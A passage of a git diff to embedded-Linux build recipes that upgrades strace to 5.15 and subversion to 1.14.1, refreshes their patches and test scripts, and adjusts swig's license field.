- XLAT(IPPROTO_RAW),
- #define XLAT_VAL_32 ((unsigned) (IPPROTO_RAW))
- #define XLAT_STR_32 STRINGIFY(IPPROTO_RAW)
-- XLAT(IPPROTO_MAX),
-- #define XLAT_VAL_33 ((unsigned) (IPPROTO_MAX))
-- #define XLAT_STR_33 STRINGIFY(IPPROTO_MAX)
- XLAT(IPPROTO_MPTCP),
-- #define XLAT_VAL_34 ((unsigned) (IPPROTO_MPTCP))
-- #define XLAT_STR_34 STRINGIFY(IPPROTO_MPTCP)
-+ #define XLAT_VAL_33 ((unsigned) (IPPROTO_MPTCP))
-+ #define XLAT_STR_33 STRINGIFY(IPPROTO_MPTCP)
-+ XLAT(IPPROTO_MAX),
-+ #define XLAT_VAL_34 ((unsigned) (IPPROTO_MAX))
-+ #define XLAT_STR_34 STRINGIFY(IPPROTO_MAX)
- };
- const struct xlat inet_protocols[1] = { {
- .data = inet_protocols_xdata,
diff --git a/meta/recipes-devtools/strace/strace/Makefile-ptest.patch b/meta/recipes-devtools/strace/strace/Makefile-ptest.patch
index 42c1893f39..9af7737662 100644
--- a/meta/recipes-devtools/strace/strace/Makefile-ptest.patch
+++ b/meta/recipes-devtools/strace/strace/Makefile-ptest.patch
@@ -1,4 +1,4 @@
-From ee47e205255928679701a5b769bd7ae0f815119d Mon Sep 17 00:00:00 2001
+From 1f50e0a09d828be8f5b1f28db9af0b12492a1553 Mon Sep 17 00:00:00 2001
From: Gabriel Barbu <gabriel.barbu@enea.com>
Date: Thu, 25 Jul 2013 15:28:33 +0200
Subject: [PATCH] strace: Add ptest
@@ -10,31 +10,32 @@ Signed-off-by: Chong Lu <Chong.Lu@windriver.com>
Signed-off-by: Anuj Mittal <anuj.mittal@intel.com>
---
- tests/Makefile.am | 19 +++++++++++++++++++
- 1 file changed, 19 insertions(+)
+ tests/Makefile.am | 20 ++++++++++++++++++++
+ 1 file changed, 20 insertions(+)
diff --git a/tests/Makefile.am b/tests/Makefile.am
-index 8cf4c36..66162eb 100644
+index 55566ee..a7ae6f9 100644
--- a/tests/Makefile.am
+++ b/tests/Makefile.am
-@@ -15,6 +15,7 @@ SIZEOF_LONG = @SIZEOF_LONG@
+@@ -16,6 +16,7 @@ SIZEOF_LONG = @SIZEOF_LONG@
MPERS_NAME =
MPERS_CC_FLAGS =
ARCH_MFLAGS =
+TEST_SUITE_LOG = test-suite.log
AM_CFLAGS = $(WARN_CFLAGS)
- AM_CPPFLAGS = $(ARCH_MFLAGS) \
- -I$(builddir) \
-@@ -538,3 +539,21 @@ BUILT_SOURCES = ksysent.h
+ bundled_CPPFLAGS =
+ if USE_BUNDLED_HEADERS
+@@ -703,3 +704,22 @@ BUILT_SOURCES = ksysent.h
CLEANFILES = ksysent.h
- include ../scno.am
+ include ../src/scno.am
+
+buildtest-TESTS: $(check_PROGRAMS) $(TESTS)
+
+install-ptest:
-+ install $(BUILDDIR)/strace $(DESTDIR)
-+ install $(srcdir)/../strace-log-merge $(DESTDIR)
++ install -d $(DESTDIR)/src
++ install $(BUILDDIR)/src/strace $(DESTDIR)/src
++ install $(srcdir)/../src/strace-log-merge $(DESTDIR)/src
+ install -d $(DESTDIR)/$(TESTDIR)
+ cp $(BUILDDIR)/$(TESTDIR)/Makefile $(DESTDIR)/$(TESTDIR)
+ sed -i -e 's/^Makefile:/_Makefile:/' $(DESTDIR)/$(TESTDIR)/Makefile
diff --git a/meta/recipes-devtools/strace/strace/disable-git-version-gen.patch b/meta/recipes-devtools/strace/strace/disable-git-version-gen.patch
deleted file mode 100644
index e8dbd7f273..0000000000
--- a/meta/recipes-devtools/strace/strace/disable-git-version-gen.patch
+++ /dev/null
@@ -1,37 +0,0 @@
-From d87a7feb5ea75da7061afdd473faba044ec8eb0f Mon Sep 17 00:00:00 2001
-From: Andre McCurdy <armccurdy@gmail.com>
-Date: Mon, 18 Jan 2016 13:33:50 -0800
-Subject: [PATCH] strace: remove need for scripts
-
-git-version-gen copyright-year-gen file-date-gen are not included in
-tarball releases, so we need to avoid attempts to call them.
-
-Upstream-Status: Inappropriate [configuration]
-
-Signed-off-by: Andre McCurdy <armccurdy@gmail.com>
-Signed-off-by: Anuj Mittal <anuj.mittal@intel.com>
-
----
- configure.ac | 6 +++---
- 1 file changed, 3 insertions(+), 3 deletions(-)
-
-diff --git a/configure.ac b/configure.ac
-index dd4f13f..65f000b 100644
---- a/configure.ac
-+++ b/configure.ac
-@@ -12,12 +12,12 @@
-
- AC_PREREQ(2.57)
- AC_INIT([strace],
-- st_esyscmd_s([./git-version-gen .tarball-version]),
-+ m4_esyscmd_s([cat .tarball-version]),
- [strace-devel@lists.strace.io],
- [strace],
- [https://strace.io])
--m4_define([copyright_year], st_esyscmd_s([./copyright-year-gen .year]))
--m4_define([manpage_date], st_esyscmd_s([./file-date-gen strace.1.in]))
-+m4_define([copyright_year], m4_esyscmd_s([cat .year]))
-+m4_define([manpage_date], m4_esyscmd_s([cat .strace.1.in.date]))
- AC_COPYRIGHT([Copyright (c) 1999-]copyright_year[ The strace developers.])
- AC_CONFIG_SRCDIR([strace.c])
- AC_CONFIG_AUX_DIR([.])
diff --git a/meta/recipes-devtools/strace/strace/run-ptest b/meta/recipes-devtools/strace/strace/run-ptest
index 4660207220..02bb91e07f 100755
--- a/meta/recipes-devtools/strace/strace/run-ptest
+++ b/meta/recipes-devtools/strace/strace/run-ptest
@@ -1,6 +1,15 @@
#!/bin/sh
-export TIMEOUT_DURATION=120
+
+set -u
+
+export TIMEOUT_DURATION=240
chown nobody tests
chown nobody tests/*
chown nobody ../ptest
+
su nobody -c "make -B -C tests -k test-suite.log"
+res=$?
+if [ $res -ne 0 ]; then
+ cat tests/test-suite.log
+fi
+exit $res
diff --git a/meta/recipes-devtools/strace/strace/uintptr_t.patch b/meta/recipes-devtools/strace/strace/uintptr_t.patch
deleted file mode 100644
index 088d685af0..0000000000
--- a/meta/recipes-devtools/strace/strace/uintptr_t.patch
+++ /dev/null
@@ -1,27 +0,0 @@
-From a6c9366bfbcef6f3f4bb068b1f1a5623935b5013 Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Tue, 5 Nov 2019 20:05:08 -0800
-Subject: [PATCH] include stdint.h for getting uintptr_t definition
-
-fixes do_compile_ptest_base
-tests/fanotify_mark.c:191:23: error: 'uintptr_t' undeclared (first use in this function); did you mean 'intptr_t'?
-
-Upstream-Status: Pending
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
-
----
- tests/fanotify_mark.c | 1 +
- 1 file changed, 1 insertion(+)
-
-diff --git a/tests/fanotify_mark.c b/tests/fanotify_mark.c
-index aade643..de579f3 100644
---- a/tests/fanotify_mark.c
-+++ b/tests/fanotify_mark.c
-@@ -18,6 +18,7 @@
-
- # include <limits.h>
- # include <stdio.h>
-+# include <stdint.h>
- # include <unistd.h>
- # include <sys/fanotify.h>
-
diff --git a/meta/recipes-devtools/strace/strace/update-gawk-paths.patch b/meta/recipes-devtools/strace/strace/update-gawk-paths.patch
index d46b147de5..0c683496ae 100644
--- a/meta/recipes-devtools/strace/strace/update-gawk-paths.patch
+++ b/meta/recipes-devtools/strace/strace/update-gawk-paths.patch
@@ -1,4 +1,4 @@
-From 12a726b280eca94883edcb4da1eaaf8e93d41739 Mon Sep 17 00:00:00 2001
+From 4cd26cfaec255ec87f22abe886e0be89312a9671 Mon Sep 17 00:00:00 2001
From: Andre McCurdy <armccurdy@gmail.com>
Date: Mon, 18 Jan 2016 11:01:00 -0800
Subject: [PATCH] update gawk paths, /bin/gawk -> /usr/bin/gawk
@@ -13,7 +13,7 @@ Upstream-Status: Inappropriate [configuration]
Signed-off-by: Andre McCurdy <armccurdy@gmail.com>
---
- mpers.awk | 2 +-
+ src/mpers.awk | 2 +-
tests-m32/caps.awk | 2 +-
tests-m32/match.awk | 2 +-
tests-m32/rt_sigaction.awk | 2 +-
@@ -25,18 +25,18 @@ Signed-off-by: Andre McCurdy <armccurdy@gmail.com>
tests/rt_sigaction.awk | 2 +-
10 files changed, 10 insertions(+), 10 deletions(-)
-diff --git a/mpers.awk b/mpers.awk
-index 17f8f2b..d69dcd5 100644
---- a/mpers.awk
-+++ b/mpers.awk
+diff --git a/src/mpers.awk b/src/mpers.awk
+index 25a212f..b2ff53f 100644
+--- a/src/mpers.awk
++++ b/src/mpers.awk
@@ -1,4 +1,4 @@
-#!/bin/gawk
+#!/usr/bin/gawk
#
# Copyright (c) 2015 Elvira Khabirova <lineprinter0@gmail.com>
- # Copyright (c) 2015-2016 Dmitry V. Levin <ldv@altlinux.org>
+ # Copyright (c) 2015-2016 Dmitry V. Levin <ldv@strace.io>
diff --git a/tests-m32/caps.awk b/tests-m32/caps.awk
-index 941564a..0bcc3ff 100644
+index 69500ec..e5dfd87 100644
--- a/tests-m32/caps.awk
+++ b/tests-m32/caps.awk
@@ -1,4 +1,4 @@
@@ -46,27 +46,27 @@ index 941564a..0bcc3ff 100644
# This file is part of caps strace test.
#
diff --git a/tests-m32/match.awk b/tests-m32/match.awk
-index d91c518..ee5d908 100644
+index 1cde87c..df63f78 100644
--- a/tests-m32/match.awk
+++ b/tests-m32/match.awk
@@ -1,4 +1,4 @@
-#!/bin/gawk
+#!/usr/bin/gawk
#
- # Copyright (c) 2014-2018 Dmitry V. Levin <ldv@altlinux.org>
+ # Copyright (c) 2014-2021 Dmitry V. Levin <ldv@strace.io>
# All rights reserved.
diff --git a/tests-m32/rt_sigaction.awk b/tests-m32/rt_sigaction.awk
-index 81dd813..9cd9549 100644
+index dce78f5..573d9ea 100644
--- a/tests-m32/rt_sigaction.awk
+++ b/tests-m32/rt_sigaction.awk
@@ -1,4 +1,4 @@
-#!/bin/gawk
+#!/usr/bin/gawk
#
- # Copyright (c) 2014-2015 Dmitry V. Levin <ldv@altlinux.org>
+ # Copyright (c) 2014-2015 Dmitry V. Levin <ldv@strace.io>
# Copyright (c) 2016 Elvira Khabirova <lineprinter0@gmail.com>
diff --git a/tests-mx32/caps.awk b/tests-mx32/caps.awk
-index 941564a..0bcc3ff 100644
+index 69500ec..e5dfd87 100644
--- a/tests-mx32/caps.awk
+++ b/tests-mx32/caps.awk
@@ -1,4 +1,4 @@
@@ -76,27 +76,27 @@ index 941564a..0bcc3ff 100644
# This file is part of caps strace test.
#
diff --git a/tests-mx32/match.awk b/tests-mx32/match.awk
-index d91c518..ee5d908 100644
+index 1cde87c..df63f78 100644
--- a/tests-mx32/match.awk
+++ b/tests-mx32/match.awk
@@ -1,4 +1,4 @@
-#!/bin/gawk
+#!/usr/bin/gawk
#
- # Copyright (c) 2014-2018 Dmitry V. Levin <ldv@altlinux.org>
+ # Copyright (c) 2014-2021 Dmitry V. Levin <ldv@strace.io>
# All rights reserved.
diff --git a/tests-mx32/rt_sigaction.awk b/tests-mx32/rt_sigaction.awk
-index 81dd813..9cd9549 100644
+index dce78f5..573d9ea 100644
--- a/tests-mx32/rt_sigaction.awk
+++ b/tests-mx32/rt_sigaction.awk
@@ -1,4 +1,4 @@
-#!/bin/gawk
+#!/usr/bin/gawk
#
- # Copyright (c) 2014-2015 Dmitry V. Levin <ldv@altlinux.org>
+ # Copyright (c) 2014-2015 Dmitry V. Levin <ldv@strace.io>
# Copyright (c) 2016 Elvira Khabirova <lineprinter0@gmail.com>
diff --git a/tests/caps.awk b/tests/caps.awk
-index 941564a..0bcc3ff 100644
+index 69500ec..e5dfd87 100644
--- a/tests/caps.awk
+++ b/tests/caps.awk
@@ -1,4 +1,4 @@
@@ -106,22 +106,22 @@ index 941564a..0bcc3ff 100644
# This file is part of caps strace test.
#
diff --git a/tests/match.awk b/tests/match.awk
-index d91c518..ee5d908 100644
+index 1cde87c..df63f78 100644
--- a/tests/match.awk
+++ b/tests/match.awk
@@ -1,4 +1,4 @@
-#!/bin/gawk
+#!/usr/bin/gawk
#
- # Copyright (c) 2014-2018 Dmitry V. Levin <ldv@altlinux.org>
+ # Copyright (c) 2014-2021 Dmitry V. Levin <ldv@strace.io>
# All rights reserved.
diff --git a/tests/rt_sigaction.awk b/tests/rt_sigaction.awk
-index 81dd813..9cd9549 100644
+index dce78f5..573d9ea 100644
--- a/tests/rt_sigaction.awk
+++ b/tests/rt_sigaction.awk
@@ -1,4 +1,4 @@
-#!/bin/gawk
+#!/usr/bin/gawk
#
- # Copyright (c) 2014-2015 Dmitry V. Levin <ldv@altlinux.org>
+ # Copyright (c) 2014-2015 Dmitry V. Levin <ldv@strace.io>
# Copyright (c) 2016 Elvira Khabirova <lineprinter0@gmail.com>
diff --git a/meta/recipes-devtools/strace/strace_5.15.bb b/meta/recipes-devtools/strace/strace_5.15.bb
new file mode 100644
index 0000000000..716806d22f
--- /dev/null
+++ b/meta/recipes-devtools/strace/strace_5.15.bb
@@ -0,0 +1,54 @@
+SUMMARY = "System call tracing tool"
+HOMEPAGE = "http://strace.io"
+DESCRIPTION = "strace is a diagnostic, debugging and instructional userspace utility for Linux. It is used to monitor and tamper with interactions between processes and the Linux kernel, which include system calls, signal deliveries, and changes of process state."
+SECTION = "console/utils"
+LICENSE = "LGPL-2.1+ & GPL-2+"
+LIC_FILES_CHKSUM = "file://COPYING;md5=318cfc887fc8723f4e9d4709b55e065b"
+
+SRC_URI = "https://strace.io/files/${PV}/strace-${PV}.tar.xz \
+ file://update-gawk-paths.patch \
+ file://Makefile-ptest.patch \
+ file://run-ptest \
+ file://mips-SIGEMT.patch \
+ file://0001-caps-abbrev.awk-fix-gawk-s-path.patch \
+ file://ptest-spacesave.patch \
+ file://0001-strace-fix-reproducibilty-issues.patch \
+ "
+SRC_URI[sha256sum] = "ebcac22f297335294dc654425cbc3ce013343bece6da2699e3aec86aee8d72dc"
+
+inherit autotools ptest
+
+PACKAGECONFIG:class-target ??= "\
+ ${@bb.utils.contains('DISTRO_FEATURES', 'bluetooth', 'bluez', '', d)} \
+"
+
+PACKAGECONFIG[bluez] = "ac_cv_header_bluetooth_bluetooth_h=yes,ac_cv_header_bluetooth_bluetooth_h=no,bluez5"
+PACKAGECONFIG[libunwind] = "--with-libunwind,--without-libunwind,libunwind"
+
+EXTRA_OECONF += "--enable-mpers=no --disable-gcc-Werror"
+
+CFLAGS:append:libc-musl = " -Dsigcontext_struct=sigcontext"
+
+TESTDIR = "tests"
+PTEST_BUILD_HOST_PATTERN = "^(DEB_CHANGELOGTIME|RPM_CHANGELOGTIME|WARN_CFLAGS_FOR_BUILD|LDFLAGS_FOR_BUILD)"
+
+do_compile_ptest() {
+ oe_runmake ${PARALLEL_MAKE} -C ${TESTDIR} buildtest-TESTS
+}
+
+do_install_ptest() {
+ oe_runmake -C ${TESTDIR} install-ptest BUILDDIR=${B} DESTDIR=${D}${PTEST_PATH} TESTDIR=${TESTDIR}
+ mkdir -p ${D}${PTEST_PATH}/build-aux
+ mkdir -p ${D}${PTEST_PATH}/src
+ install -m 755 ${S}/build-aux/test-driver ${D}${PTEST_PATH}/build-aux/
+ install -m 644 ${B}/src/config.h ${D}${PTEST_PATH}/src/
+ sed -i -e '/^src/s/strace.*[0-9]/ptest/' ${D}/${PTEST_PATH}/${TESTDIR}/Makefile
+}
+
+RDEPENDS:${PN}-ptest += "make coreutils grep gawk sed"
+
+RDEPENDS:${PN}-ptest:append:libc-glibc = "\
+ locale-base-en-us.iso-8859-1 \
+"
+
+BBCLASSEXTEND = "native"
diff --git a/meta/recipes-devtools/strace/strace_5.9.bb b/meta/recipes-devtools/strace/strace_5.9.bb
deleted file mode 100644
index bee2616a44..0000000000
--- a/meta/recipes-devtools/strace/strace_5.9.bb
+++ /dev/null
@@ -1,56 +0,0 @@
-SUMMARY = "System call tracing tool"
-HOMEPAGE = "http://strace.io"
-SECTION = "console/utils"
-LICENSE = "LGPL-2.1+ & GPL-2+"
-LIC_FILES_CHKSUM = "file://COPYING;md5=c756d9d5dabc27663df64f0bf492166c"
-
-SRC_URI = "https://strace.io/files/${PV}/strace-${PV}.tar.xz \
- file://disable-git-version-gen.patch \
- file://update-gawk-paths.patch \
- file://Makefile-ptest.patch \
- file://run-ptest \
- file://mips-SIGEMT.patch \
- file://0001-caps-abbrev.awk-fix-gawk-s-path.patch \
- file://ptest-spacesave.patch \
- file://uintptr_t.patch \
- file://0001-strace-fix-reproducibilty-issues.patch \
- file://0001-xlat-Mark-IPPROTO_MAX-last-in-IPPROTO_-constants.patch \
- "
-SRC_URI[sha256sum] = "39473eb8465546c3e940fb663cb381eba5613160c7302794699d194a4d5d66d9"
-
-inherit autotools ptest
-
-PACKAGECONFIG_class-target ??= "\
- ${@bb.utils.contains('DISTRO_FEATURES', 'bluetooth', 'bluez', '', d)} \
-"
-
-PACKAGECONFIG[bluez] = "ac_cv_header_bluetooth_bluetooth_h=yes,ac_cv_header_bluetooth_bluetooth_h=no,bluez5"
-PACKAGECONFIG[libunwind] = "--with-libunwind,--without-libunwind,libunwind"
-
-EXTRA_OECONF += "--enable-mpers=no --disable-gcc-Werror"
-
-CFLAGS_append_libc-musl = " -Dsigcontext_struct=sigcontext"
-
-TESTDIR = "tests"
-PTEST_BUILD_HOST_PATTERN = "^(DEB_CHANGELOGTIME|RPM_CHANGELOGTIME|WARN_CFLAGS_FOR_BUILD|LDFLAGS_FOR_BUILD)"
-
-do_install_append() {
- # We don't ship strace-graph here because it needs perl
- rm ${D}${bindir}/strace-graph
-}
-
-do_compile_ptest() {
- oe_runmake -C ${TESTDIR} buildtest-TESTS
-}
-
-do_install_ptest() {
- oe_runmake -C ${TESTDIR} install-ptest BUILDDIR=${B} DESTDIR=${D}${PTEST_PATH} TESTDIR=${TESTDIR}
- install -m 755 ${S}/test-driver ${D}${PTEST_PATH}
- install -m 644 ${B}/config.h ${D}${PTEST_PATH}
- sed -i -e '/^src/s/strace.*[1-9]/ptest/' ${D}/${PTEST_PATH}/${TESTDIR}/Makefile
-}
-
-RDEPENDS_${PN}-ptest += "make coreutils grep gawk sed"
-
-BBCLASSEXTEND = "native"
-TOOLCHAIN = "gcc"
diff --git a/meta/recipes-devtools/subversion/subversion/0001-Fix-libtool-name-in-configure.ac.patch b/meta/recipes-devtools/subversion/subversion/0001-Fix-libtool-name-in-configure.ac.patch
deleted file mode 100644
index 5a1b10b2e1..0000000000
--- a/meta/recipes-devtools/subversion/subversion/0001-Fix-libtool-name-in-configure.ac.patch
+++ /dev/null
@@ -1,29 +0,0 @@
-From cbcfe0399347989e45a8fb695f55c855d6b3da72 Mon Sep 17 00:00:00 2001
-From: Alexander Kanavin <alex.kanavin@gmail.com>
-Date: Mon, 7 Dec 2015 17:11:02 +0200
-Subject: [PATCH] Fix libtool name in configure.ac
-
-Upstream-Status: Inappropriate [embedded specific]
-Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
----
- configure.ac | 4 ++--
- 1 file changed, 2 insertions(+), 2 deletions(-)
-
-diff --git a/configure.ac b/configure.ac
-index 4ed66d4..ceb64f9 100644
---- a/configure.ac
-+++ b/configure.ac
-@@ -221,8 +221,8 @@ if test "$experimental_libtool" = "yes"; then
- LIBTOOL="$sh_libtool"
- SVN_LIBTOOL="$sh_libtool"
- else
-- sh_libtool="$abs_builddir/libtool"
-- SVN_LIBTOOL="\$(SHELL) \"$sh_libtool\""
-+ sh_libtool="$abs_builddir/$host_alias-libtool"
-+ SVN_LIBTOOL="\$(SHELL) \$(abs_builddir)/$host_alias-libtool"
- fi
- AC_SUBST(SVN_LIBTOOL)
-
---
-2.6.2
-
diff --git a/meta/recipes-devtools/subversion/subversion_1.14.0.bb b/meta/recipes-devtools/subversion/subversion_1.14.0.bb
deleted file mode 100644
index 452a025fcc..0000000000
--- a/meta/recipes-devtools/subversion/subversion_1.14.0.bb
+++ /dev/null
@@ -1,62 +0,0 @@
-SUMMARY = "Subversion (svn) version control system client"
-HOMEPAGE = "http://subversion.apache.org"
-SECTION = "console/network"
-LICENSE = "Apache-2 & MIT"
-LIC_FILES_CHKSUM = "file://LICENSE;md5=6487ae7094d359fa90fb9c4096e52e2b"
-
-DEPENDS = "apr-util serf sqlite3 file lz4"
-DEPENDS_append_class-native = " file-replacement-native"
-
-SRC_URI = "${APACHE_MIRROR}/${BPN}/${BPN}-${PV}.tar.bz2 \
- file://disable_macos.patch \
- file://0001-Fix-libtool-name-in-configure.ac.patch \
- file://serfmacro.patch \
- "
-
-SRC_URI[sha256sum] = "6ba8e218f9f97a83a799e58a3c6da1221d034b18d9d8cbbcb6ec52ab11722102"
-
-inherit autotools pkgconfig gettext python3native
-
-CVE_PRODUCT = "apache:subversion"
-
-PACKAGECONFIG ?= ""
-
-PACKAGECONFIG[boost] = "--with-boost=${RECIPE_SYSROOT}${exec_prefix},--without-boost,boost"
-PACKAGECONFIG[sasl] = "--with-sasl,--without-sasl,cyrus-sasl"
-PACKAGECONFIG[gnome-keyring] = "--with-gnome-keyring,--without-gnome-keyring,glib-2.0 gnome-keyring"
-
-EXTRA_OECONF = " \
- --with-apr=${STAGING_BINDIR_CROSS} \
- --with-apr-util=${STAGING_BINDIR_CROSS} \
- --without-apxs \
- --without-berkeley-db \
- --without-swig \
- --disable-keychain \
- --with-utf8proc=internal \
- ac_cv_path_RUBY=none \
-"
-
-EXTRA_OEMAKE += "pkgconfig_dir=${libdir}/pkgconfig"
-
-acpaths = "-I build/ -I build/ac-macros/"
-
-CPPFLAGS += "-P"
-BUILD_CPPFLAGS += "-P"
-
-do_configure_prepend () {
- rm -f ${S}/libtool
- rm -f ${S}/build/libtool.m4 ${S}/build/ltmain.sh ${S}/build/ltoptions.m4 ${S}/build/ltsugar.m4 ${S}/build/ltversion.m4 ${S}/build/lt~obsolete.m4
- rm -f ${S}/aclocal.m4
- sed -i -e 's:with_sasl="/usr/local":with_sasl="${STAGING_DIR}":' ${S}/build/ac-macros/sasl.m4
-}
-
-#| x86_64-linux-libtool: install: warning: `/home/pokybuild/yocto-autobuilder/yocto-worker/nightly-qa-logrotate/build/build/tmp/work/x86_64-linux/subversion-native/1.8.9-r0/build/subversion/libsvn_ra_local/libsvn_ra_local-1.la' has not been installed in `/home/pokybuild/yocto-autobuilder/yocto-worker/nightly-qa-logrotate/build/build/tmp/sysroots/x86_64-linux/usr/lib'| x86_64-linux-libtool: install: warning: `/home/pokybuild/yocto-autobuilder/yocto-worker/nightly-qa-logrotate/build/build/tmp/work/x86_64-linux/subversion-native/1.8.9-r0/build/subversion/libsvn_repos/libsvn_repos-1.la' has not been installed in `/home/pokybuild/yocto-autobuilder/yocto-worker/nightly-qa-logrotate/build/build/tmp/sysroots/x86_64-linux/usr/lib'| /usr/bin/ld: cannot find -lsvn_delta-1| collect2: ld returned 1 exit status| x86_64-linux-libtool: install: warning: `/home/pokybuild/yocto-autobuilder/yocto-worker/nightly-qa-logrotate/build/build/tmp/work/x86_64-linux/subversion-native/1.8.9-r0/build/subversion/libsvn_ra_svn/libsvn_ra_svn-1.la' has not been installed in `/home/pokybuild/yocto-autobuilder/yocto-worker/nightly-qa-logrotate/build/build/tmp/sysroots/x86_64-linux/usr/lib'| x86_64-linux-libtool: install: warning: `/home/pokybuild/yocto-autobuilder/yocto-worker/nightly-qa-logrotate/build/build/tmp/work/x86_64-linux/subversion-native/1.8.9-r0/build/subversion/libsvn_ra_serf/libsvn_ra_serf-1.la' has not been installed in `/home/pokybuild/yocto-autobuilder/yocto-worker/nightly-qa-logrotate/build/build/tmp/sysroots/x86_64-linux/usr/lib'
-#| x86_64-linux-libtool: install: error: relink `libsvn_ra_serf-1.la' with the above command before installing it
-#| x86_64-linux-libtool: install: warning: `../../subversion/libsvn_repos/libsvn_repos-1.la' has not been installed in `/home/pokybuild/yocto-autobuilder/yocto-worker/nightly-qa-logrotate/build/build/tmp/sysroots/x86_64-linux/usr/lib'
-#| /home/pokybuild/yocto-autobuilder/yocto-worker/nightly-qa-logrotate/build/build/tmp/work/x86_64-linux/subversion-native/1.8.9-r0/subversion-1.8.9/build-outputs.mk:1090: recipe for target 'install-serf-lib' failed
-#| make: *** [install-serf-lib] Error 1
-PARALLEL_MAKEINST = ""
-
-RDEPENDS_${PN} = "serf"
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/subversion/subversion_1.14.1.bb b/meta/recipes-devtools/subversion/subversion_1.14.1.bb
new file mode 100644
index 0000000000..a0a9376f3d
--- /dev/null
+++ b/meta/recipes-devtools/subversion/subversion_1.14.1.bb
@@ -0,0 +1,62 @@
+SUMMARY = "Subversion (svn) version control system client"
+HOMEPAGE = "http://subversion.apache.org"
+DESCRIPTION = "Subversion is an open source version control system."
+SECTION = "console/network"
+LICENSE = "Apache-2 & MIT"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=6487ae7094d359fa90fb9c4096e52e2b"
+
+DEPENDS = "apr-util serf sqlite3 file lz4"
+DEPENDS:append:class-native = " file-replacement-native"
+
+SRC_URI = "${APACHE_MIRROR}/${BPN}/${BPN}-${PV}.tar.bz2 \
+ file://disable_macos.patch \
+ file://serfmacro.patch \
+ "
+
+SRC_URI[sha256sum] = "2c5da93c255d2e5569fa91d92457fdb65396b0666fad4fd59b22e154d986e1a9"
+
+inherit autotools pkgconfig gettext python3native
+
+CVE_PRODUCT = "apache:subversion"
+
+PACKAGECONFIG ?= ""
+
+PACKAGECONFIG[boost] = "--with-boost=${RECIPE_SYSROOT}${exec_prefix},--without-boost,boost"
+PACKAGECONFIG[sasl] = "--with-sasl,--without-sasl,cyrus-sasl"
+PACKAGECONFIG[gnome-keyring] = "--with-gnome-keyring,--without-gnome-keyring,glib-2.0 gnome-keyring"
+
+EXTRA_OECONF = " \
+ --with-apr=${STAGING_BINDIR_CROSS} \
+ --with-apr-util=${STAGING_BINDIR_CROSS} \
+ --without-apxs \
+ --without-berkeley-db \
+ --without-swig \
+ --disable-keychain \
+ --with-utf8proc=internal \
+ ac_cv_path_RUBY=none \
+"
+
+EXTRA_OEMAKE += "pkgconfig_dir=${libdir}/pkgconfig"
+
+acpaths = "-I build/ -I build/ac-macros/"
+
+CPPFLAGS += "-P"
+BUILD_CPPFLAGS += "-P"
+
+do_configure:prepend () {
+ rm -f ${S}/libtool
+ rm -f ${S}/build/libtool.m4 ${S}/build/ltmain.sh ${S}/build/ltoptions.m4 ${S}/build/ltsugar.m4 ${S}/build/ltversion.m4 ${S}/build/lt~obsolete.m4
+ rm -f ${S}/aclocal.m4
+ sed -i -e 's:with_sasl="/usr/local":with_sasl="${STAGING_DIR}":' ${S}/build/ac-macros/sasl.m4
+}
+
+#| x86_64-linux-libtool: install: warning: `/home/pokybuild/yocto-autobuilder/yocto-worker/nightly-qa-logrotate/build/build/tmp/work/x86_64-linux/subversion-native/1.8.9-r0/build/subversion/libsvn_ra_local/libsvn_ra_local-1.la' has not been installed in `/home/pokybuild/yocto-autobuilder/yocto-worker/nightly-qa-logrotate/build/build/tmp/sysroots/x86_64-linux/usr/lib'| x86_64-linux-libtool: install: warning: `/home/pokybuild/yocto-autobuilder/yocto-worker/nightly-qa-logrotate/build/build/tmp/work/x86_64-linux/subversion-native/1.8.9-r0/build/subversion/libsvn_repos/libsvn_repos-1.la' has not been installed in `/home/pokybuild/yocto-autobuilder/yocto-worker/nightly-qa-logrotate/build/build/tmp/sysroots/x86_64-linux/usr/lib'| /usr/bin/ld: cannot find -lsvn_delta-1| collect2: ld returned 1 exit status| x86_64-linux-libtool: install: warning: `/home/pokybuild/yocto-autobuilder/yocto-worker/nightly-qa-logrotate/build/build/tmp/work/x86_64-linux/subversion-native/1.8.9-r0/build/subversion/libsvn_ra_svn/libsvn_ra_svn-1.la' has not been installed in `/home/pokybuild/yocto-autobuilder/yocto-worker/nightly-qa-logrotate/build/build/tmp/sysroots/x86_64-linux/usr/lib'| x86_64-linux-libtool: install: warning: `/home/pokybuild/yocto-autobuilder/yocto-worker/nightly-qa-logrotate/build/build/tmp/work/x86_64-linux/subversion-native/1.8.9-r0/build/subversion/libsvn_ra_serf/libsvn_ra_serf-1.la' has not been installed in `/home/pokybuild/yocto-autobuilder/yocto-worker/nightly-qa-logrotate/build/build/tmp/sysroots/x86_64-linux/usr/lib'
+#| x86_64-linux-libtool: install: error: relink `libsvn_ra_serf-1.la' with the above command before installing it
+#| x86_64-linux-libtool: install: warning: `../../subversion/libsvn_repos/libsvn_repos-1.la' has not been installed in `/home/pokybuild/yocto-autobuilder/yocto-worker/nightly-qa-logrotate/build/build/tmp/sysroots/x86_64-linux/usr/lib'
+#| /home/pokybuild/yocto-autobuilder/yocto-worker/nightly-qa-logrotate/build/build/tmp/work/x86_64-linux/subversion-native/1.8.9-r0/subversion-1.8.9/build-outputs.mk:1090: recipe for target 'install-serf-lib' failed
+#| make: *** [install-serf-lib] Error 1
+PARALLEL_MAKEINST = ""
+
+RDEPENDS:${PN} = "serf"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/swig/swig.inc b/meta/recipes-devtools/swig/swig.inc
index e62718c508..e8562a91bb 100644
--- a/meta/recipes-devtools/swig/swig.inc
+++ b/meta/recipes-devtools/swig/swig.inc
@@ -3,7 +3,7 @@ DESCRIPTION = "SWIG is a compiler that makes it easy to integrate C and C++ \
code with other languages including Perl, Tcl, Ruby, Python, Java, Guile, \
Mzscheme, Chicken, OCaml, Pike, and C#."
HOMEPAGE = "http://swig.sourceforge.net/"
-LICENSE = "BSD & GPLv3"
+LICENSE = "BSD-3-Clause & GPLv3"
LIC_FILES_CHKSUM = "file://LICENSE;md5=e7807a6282784a7dde4c846626b08fc6 \
file://LICENSE-GPL;md5=d32239bcb673463ab874e80d47fae504 \
file://LICENSE-UNIVERSITIES;md5=8ce9dcc8f7c994de4a408b205c72ba08"
@@ -13,6 +13,8 @@ SECTION = "devel"
DEPENDS = "libpcre bison-native"
